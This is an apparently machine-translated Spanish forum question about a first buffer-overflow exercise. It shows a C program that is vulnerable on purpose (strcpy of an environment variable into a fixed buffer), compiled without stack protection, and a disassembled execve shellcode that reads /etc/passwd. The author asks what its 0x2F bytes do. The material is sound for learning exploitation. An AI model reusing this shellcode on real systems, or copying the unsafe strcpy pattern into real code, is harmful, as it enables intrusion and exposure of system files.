Es prácticamente mi primera vez jugando con un exploit de desbordamiento de búfer. He escrito un programa de C simple que es vulnerable a los desbordamientos de búfer:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
char* filename = getenv("filename");
char buff[128];
strcpy(buff, filename);
}
Lo compilé así en mi Ubuntu Server 10.04 (i386)
gcc vuln.c -o vuln -z execstack -fno-stack-protector
Intenté inyectar varios tipos de códigos de shell después de descubrir cuántos bytes son necesarios en el nombre de archivo para anular la dirección de retorno (Entonces, paso una diapositiva NOP + una dirección de shellcode + que conduce a la diapositiva NOP a través de la variable de entorno de nombre de archivo ). Las variaciones comunes de execve bin / sh dieron como resultado una falla de segmentación dentro de su propio código, por alguna razón, pero un código de shell curiosamente específico realmente funcionó para mí:
Tomado de enlace Requiere que execve ejecute / bin / cat en / etc / passwd
Disassembly of section .text:
08048060 <.text>:
8048060: eb 1f jmp 0x8048081
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 0b mov %al,0xb(%ebx)
8048068: 88 43 18 mov %al,0x18(%ebx)
804806b: 89 5b 19 mov %ebx,0x19(%ebx)
804806e: 8d 4b 0c lea 0xc(%ebx),%ecx
8048071: 89 4b 1d mov %ecx,0x1d(%ebx)
8048074: 89 43 21 mov %eax,0x21(%ebx)
8048077: b0 0b mov $0xb,%al
8048079: 8d 4b 19 lea 0x19(%ebx),%ecx
804807c: 8d 53 21 lea 0x21(%ebx),%edx
804807f: cd 80 int $0x80
8048081: e8 dc ff ff ff call 0x8048062
8048086: 2f das
8048087: 2f das
8048088: 2f das
8048089: 2f das
804808a: 62 69 6e bound %ebp,0x6e(%ecx)
804808d: 2f das
804808e: 63 61 74 arpl %sp,0x74(%ecx)
8048091: 23 2f and (%edi),%ebp
8048093: 2f das
8048094: 65 74 63 gs je 0x80480fa
8048097: 2f das
8048098: 70 61 jo 0x80480fb
804809a: 73 73 jae 0x804810f
804809c: 77 64 ja 0x8048102
804809e: 23 41 4a and 0x4a(%ecx),%eax
80480a1: 49 dec %ecx
80480a2: 54 push %esp
80480a3: 48 dec %eax
80480a4: 41 inc %ecx
80480a5: 4a dec %edx
80480a6: 49 dec %ecx
80480a7: 54 push %esp
80480a8: 48 dec %eax
80480a9: 4b dec %ebx
80480aa: 50 push %eax
Ahora, lo que ves aquí es una salida de objdump y no el ensamblaje original real que no pude encontrar. Parece que las cadenas / bin / cat y / etc / passwd vienen después de todos esos opcodes "2F". Una rápida lectura de este código de operación me llevó a
Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.
No tengo idea de lo que eso significa, sin embargo, o cómo esto contribuye al shellcode. ¿Alguien puede intentar explicarlo?
- Además, quería ajustar este código de shell solo un poco, por lo que llama a / bin / cat en una ruta de archivo diferente a / etc / passwd, como / home / kfir / helloworld, pero se eliminará en / home / kfir / - que tiene la misma longitud que / etc / passwd (11 caracteres)